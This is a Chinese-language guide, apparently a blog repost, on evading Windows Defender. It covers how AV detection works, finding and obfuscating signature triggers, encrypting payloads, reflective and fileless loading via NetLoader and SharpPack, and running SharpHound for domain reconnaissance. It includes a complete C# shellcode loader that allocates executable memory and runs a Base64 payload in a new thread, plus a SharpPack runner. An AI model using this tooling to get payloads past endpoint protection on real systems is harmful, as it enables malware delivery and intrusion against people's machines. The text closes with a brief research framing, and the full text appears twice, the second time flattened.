如何使用几个简单步骤绕过Defender
字数 1265 2025-08-24 07:48:22

绕过Windows Defender的详细技术指南

1. AV工作原理概述

在深入绕过技术之前,我们需要理解Windows Defender等防病毒软件的基本工作原理:

1.1 签名检测

  • 基本功能:将文件或文件部分的哈希值与已知恶意文件数据库比较
  • 检测方式:
    • 整个文件的哈希值匹配
    • 特定字节序列或字符串的匹配
    • 关键代码段的特征识别

1.2 启发式检测

  • 当签名检测不足时使用的高级检测方法
  • 工作原理:
    • 在安全环境中模拟运行可疑文件
    • 分析汇编指令或代码行为
    • 根据模拟结果判断恶意性

1.3 内存检测

  • 通过AMSI(Anti-Malware Scan Interface)实现
  • 检测对象:
    • PowerShell脚本
    • Office VBA宏
    • 反射加载的C#程序集
  • 特点:即使内容不接触磁盘也能检测

2. 绕过Defender的技术方法

2.1 方法一:字符串修改与混淆

2.1.1 识别触发点

  • 使用工具:
    • DefenderCheck
    • Find-AVSignature
    • AntiScan.me
    • VirusTotal
  • 方法:通过二分法逐步缩小触发检测的代码范围

2.1.2 修改技术

  1. 字符串重构

    • 修改触发检测的字符串
    • 保持功能不变的情况下改变表现形式
  2. 字节级修改

    • 直接修改二进制文件中的特定字节
    • 风险:可能破坏程序功能,需要逆向工程支持
  3. 代码混淆

    • 使用工具如ConfuserEx
    • 改变代码结构但不改变功能
    • 局限性:现代AV的启发式检测可能仍然能识别

2.2 方法二:自制C#加载器

2.2.1 基本Shellcode加载器

using System;
using System.Runtime.InteropServices;

namespace Shellcode_Runner {
    class Program {
        [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, 
            uint flAllocationType, uint flProtect);
            
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, 
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, 
            uint dwCreationFlags, IntPtr lpThreadId);
            
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, 
            UInt32 dwMilliseconds);

        static void Main(string[] args) {
            // Base64编码的shellcode
            string b64_payload = "YOUR_BASE64_SHELLCODE";
            byte[] buf = Convert.FromBase64String(b64_payload);
            
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 
                0x3000, 0x40);
                
            Marshal.Copy(buf, 0, addr, buf.Length);
            
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, 
                IntPtr.Zero, 0, IntPtr.Zero);
                
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

2.2.2 进阶改进

  1. 加密payload:避免签名检测
  2. 行为混淆:打乱执行流程绕过启发式分析
  3. PE加载问题:直接加载EXE不可行,需考虑:
    • pe_to_shellcode工具
    • Donut框架

2.3 方法三:有效负载传递技术

2.3.1 NetLoader技术

  • 原理:通过反射从不同来源加载C#程序集
  • 加载来源:
    • 本地路径
    • URL
    • SMB共享
  • 关键优势:不接触磁盘 + AMSI绕过

2.3.2 SharpPack技术

  • 功能:
    • 从加密zip加载恶意代码
    • 支持C#程序集和PowerShell脚本
    • 输出重定向到文件
改进版SharpPack Runner示例:
using System;
using SharpPack;

namespace SharpPackRunner {
    class Program {
        static void Main(string[] args) {
            if(args.Length != 6) {
                Console.WriteLine("Usage: SharpPackRunner.exe -D/-P <encpath> <encpass> <outfile> <name> <args>");
                return;
            }
            
            var sp = new SharpPackClass();
            
            if(args[0] == "-D")
                sp.RunDotNet(args[1], args[2], args[3], args[4], args[5]);
            else if(args[0] == "-P")
                sp.RunPowerShell(args[1], args[2], args[3], args[4], args[5]);
            else
                Console.WriteLine("Invalid option");
        }
    }
}

3. 实战应用示例

3.1 运行SharpHound

  1. 修改SharpHound.ps1,添加:
Invoke-BloodHound -CollectionMethod All
  1. 使用SharpPack执行

3.2 无文件执行方案

  • 从网络位置加载可执行文件
  • 直接输出到内存而非文件
  • 完全避免磁盘写入

4. 防御机制与限制

  1. AMSI绕过:需要额外处理
  2. 反射加载:可能被高级检测捕获
  3. 行为分析:复杂行为可能触发防御

5. 总结与进阶方向

5.1 有效技术组合

  1. 内存加载 + 反射
  2. 加密payload
  3. 行为混淆

5.2 待研究领域

  1. 深度AMSI绕过技术
  2. C#反射机制的高级应用
  3. 对抗行为分析的方法

通过理解这些技术原理和方法,安全研究人员可以更好地测试和改进防御机制,而防御者则可以针对这些技术开发更有效的检测手段。

绕过Windows Defender的详细技术指南 1. AV工作原理概述 在深入绕过技术之前,我们需要理解Windows Defender等防病毒软件的基本工作原理: 1.1 签名检测 基本功能 :将文件或文件部分的哈希值与已知恶意文件数据库比较 检测方式: 整个文件的哈希值匹配 特定字节序列或字符串的匹配 关键代码段的特征识别 1.2 启发式检测 当签名检测不足时使用的高级检测方法 工作原理: 在安全环境中模拟运行可疑文件 分析汇编指令或代码行为 根据模拟结果判断恶意性 1.3 内存检测 通过AMSI(Anti-Malware Scan Interface)实现 检测对象: PowerShell脚本 Office VBA宏 反射加载的C#程序集 特点:即使内容不接触磁盘也能检测 2. 绕过Defender的技术方法 2.1 方法一:字符串修改与混淆 2.1.1 识别触发点 使用工具: DefenderCheck Find-AVSignature AntiScan.me VirusTotal 方法:通过二分法逐步缩小触发检测的代码范围 2.1.2 修改技术 字符串重构 : 修改触发检测的字符串 保持功能不变的情况下改变表现形式 字节级修改 : 直接修改二进制文件中的特定字节 风险:可能破坏程序功能,需要逆向工程支持 代码混淆 : 使用工具如ConfuserEx 改变代码结构但不改变功能 局限性:现代AV的启发式检测可能仍然能识别 2.2 方法二:自制C#加载器 2.2.1 基本Shellcode加载器 2.2.2 进阶改进 加密payload :避免签名检测 行为混淆 :打乱执行流程绕过启发式分析 PE加载问题 :直接加载EXE不可行,需考虑: pe_ to_ shellcode工具 Donut框架 2.3 方法三:有效负载传递技术 2.3.1 NetLoader技术 原理:通过反射从不同来源加载C#程序集 加载来源: 本地路径 URL SMB共享 关键优势:不接触磁盘 + AMSI绕过 2.3.2 SharpPack技术 功能: 从加密zip加载恶意代码 支持C#程序集和PowerShell脚本 输出重定向到文件 改进版SharpPack Runner示例: 3. 实战应用示例 3.1 运行SharpHound 修改SharpHound.ps1,添加: 使用SharpPack执行 3.2 无文件执行方案 从网络位置加载可执行文件 直接输出到内存而非文件 完全避免磁盘写入 4. 防御机制与限制 AMSI绕过 :需要额外处理 反射加载 :可能被高级检测捕获 行为分析 :复杂行为可能触发防御 5. 总结与进阶方向 5.1 有效技术组合 内存加载 + 反射 加密payload 行为混淆 5.2 待研究领域 深度AMSI绕过技术 C#反射机制的高级应用 对抗行为分析的方法 通过理解这些技术原理和方法,安全研究人员可以更好地测试和改进防御机制,而防御者则可以针对这些技术开发更有效的检测手段。